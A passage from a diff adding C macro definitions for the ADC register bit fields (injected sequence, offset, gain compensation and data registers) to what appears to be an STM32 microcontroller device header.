ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << 